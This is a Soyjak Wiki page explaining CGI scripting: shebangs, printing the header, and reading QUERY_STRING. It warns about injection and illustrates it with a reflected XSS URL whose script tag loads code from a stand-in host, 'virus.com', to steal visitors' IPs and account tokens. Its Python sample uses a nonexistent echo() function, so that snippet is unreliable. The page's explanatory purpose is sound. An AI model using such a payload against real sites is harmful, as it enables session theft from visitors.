Soycraft has now updated to the version 1.21.6! Cracked accounts can join. IP is mc.soyjak.st

CGI

From Soyjak Wiki, the free ensoyclopedia
Jump to navigationJump to search

CGI is a way to make a website in any programming language that outputs to a terminal. It is still supported (and used by some websites) but FastCGI replaced it. Don't use this for resource-intensive code, only for handling forms or making websites that interact with low-level systems.

How it works[edit | edit source]

If it's for an interpreted language (such as Python or Perl) you put a "shebang" at the top of the document, which specifies which program to execute it with. Else, skip this step.

#!/bin/python3

Then you make it output the content it's going to output:

echo("Content-Type: text/html\n")

Note: in Python, echo() prints a new line, but we need 2 new lines in between the header and the HTML. Then you do the processing:

echo("<html><body><h1>Hello world</h1></body></html>")

You can get the GET and POST responses by looking at the QUERY_STRING environment variable.

Examples[edit | edit source]

These are not secure, and suffer from injection vulnerabilities. It's not too hard to make them secure doe.

[-+] Python

[-+] C

Injection vulnerabilities[edit | edit source]

If someone visits soyjak.st/cgi-bin/echo.py?echo=<script src="http://virus.com/script.js"></script> and the site simply prints the echo parameter straight into the page, the malicious script tag will run in the visitor’s browser, logging their IP, getting their account token, and more. An attacker can add extra parameters to bury the malicious part of it, tricking people into trusting it while the page actually executes harmful code. This is why you need to escape HTML characters.

CGI is part of a series on Computer Science.

Languages Programming languages: • AssemblyCC++C#Holy CRustJavaRubyGoActionScriptJavaScriptPHPPythonSQLScratch
Markup languages: HTMLCSS
Software QuotechanVichanYotsubaOpenYotsubaWindowsLinuxAndroidTempleOSBabybotMcChallengeSystemdMS PaintJS PaintPhotoshopFlash
More CGIDDoSVibe codingGame developmentPiracyRegexDoxingMicrosoftSNCA:AppleGoogleDataminingWebP